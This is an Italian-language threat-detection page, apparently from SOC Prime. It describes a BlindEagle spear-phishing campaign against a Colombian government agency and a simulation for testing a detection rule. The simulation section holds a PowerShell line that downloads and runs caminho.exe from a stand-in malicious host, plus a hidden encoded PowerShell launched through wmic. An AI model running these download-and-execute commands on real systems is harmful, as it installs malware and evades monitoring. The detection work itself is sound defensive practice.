BlindEagle Prende di Mira un’Agenzia Governativa Colombiana con Caminho e DCRAT

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Segui
BlindEagle Prende di Mira un’Agenzia Governativa Colombiana con Caminho e DCRAT
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riassunto

BlindEagle ha condotto un’operazione di spear-phishing rivolto a un’agenzia governativa colombiana, consegnando un allegato SVG armato che ha avviato una catena di esecuzione JavaScript-PowerShell. Quella sequenza ha scaricato un downloader chiamato Caminho, che ha quindi recuperato il trojan di accesso remoto open-source DCRAT ospitato su Discord. La fase finale ha utilizzato il process hollowing in MSBuild.exe e ha applicato diversi metodi di evasione per ridurre la rilevazione.

Indagine

Zscaler ThreatLabz ha analizzato il flusso di infezione e ha riportato un approccio di contrabbando SVG, più livelli di JavaScript offuscato, un comando PowerShell attivato da WMI e la consegna di Caminho attraverso un URL ospitato su Discord. L’indagine ha anche associato l’infrastruttura di supporto con indirizzi IP svedesi e un provider DNS dinamico (ydns.eu).

Mitigazione

Applicare controlli più rigorosi sugli allegati di posta in entrata, specialmente per i contenuti SVG, e imporre la disarmamento/ispezione dei contenuti per gli script incorporati. Usare politiche proxy web per limitare l’accesso agli endpoint di hosting di file sospetti, inclusi gli URL di file Discord utilizzati per la distribuzione di malware. Monitorare schemi anomali di esecuzione di PowerShell e WMI e imporre politiche di whitelisting delle applicazioni che coprano l’uso di MSBuild.exe.

Risposta

Risposta

Attivare avvisi per l’artefatto SVG dannoso, il nome del file JavaScript di riferimento e i download che raggiungono l’URL Discord. Cercare tracce in memoria o su disco di Caminho e DCRAT, evidenze di process hollowing di MSBuild.exe e persistenza tramite modifiche al registro o attività pianificate. Mettere in quarantena gli endpoint impattati e bloccare il dominio C2 identificato.

Flusso di attacco

Esecuzione Simulazione

Prerequisito: il Controllo Preliminare di Telemetria e Base deve essere superato.

Motivazione: Questa sezione delinea l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e il resoconto DEVONO riflettere direttamente le TTP identificate e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.

  • Narrativa e Comandi di Attacco:
    L’attore di minaccia (BlindEagle) utilizza WMI per spawnare un processo PowerShell che scarica il payload “Caminho” da un server remoto C2 ed eseguirlo in memoria. Sfruttando wmic.exe con il metodo process call create l’attacker può eseguire PowerShell senza interagire con una sessione utente, rendendo l’attività furtiva. La riga di comando contiene la parola letterale ‘powershell’, che soddisfa la condizione della regola di rilevamento.

    1. Fase 1 – Preparare la monolinea PowerShell malevola:

      $url = "http://malicious.example.com/caminho.exe"
      $out = "$env:TEMPcaminho.exe"
      Invoke-WebRequest -Uri $url -OutFile $out; PowerShell -ExecutionPolicy Bypass -File $out
    2. Fase 2 – Eseguire tramite WMI:

      $psCmd = 'powershell -nop -w hidden -enc <base64-encoded-payload>'
      wmic process call create "$psCmd"

    La presenza di powershell nel campo CommandLine dell’evento Sysmon 1 generato dal wmic processo figlio attiverà la regola.

  • Script di Test di Regressione:

    # Simulazione PowerShell via WMI di BlindEagle
    # ----------------------------------------------------------------------
    # 1. Definisci payload malevolo (per il test usiamo un comando echo benigno)
    $payload = 'Write-Host "Esecuzione Caminho simulata"'
    $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
    
    # 2. Costruisci la riga di comando PowerShell che include la parola letterale "powershell"
    $psCommand = "powershell -NoProfile -EncodedCommand $encoded"
    
    # 3. Avvia il comando tramite WMI (wmic) per generare un evento Sysmon EventID 1
    $wmicCommand = "wmic process call create `"$psCommand`""
    Write-Host "Esecuzione tramite WMI: $wmicCommand"
    Invoke-Expression $wmicCommand
    
    # 4. Opzionale: Registrare per verifica
    Write-Host "Simulazione completata. Verificare rilevamento in SIEM."
  • Comandi di Pulizia:

    # Rimuovere eventuali file temporanei (nessuno creato in questa simulazione)
    # Termina eventuali processi wmic o PowerShell residui avviati per il test
    Get-Process -Name wmic, powershell -ErrorAction SilentlyContinue | Stop-Process -Force
    Write-Host "Pulizia completata."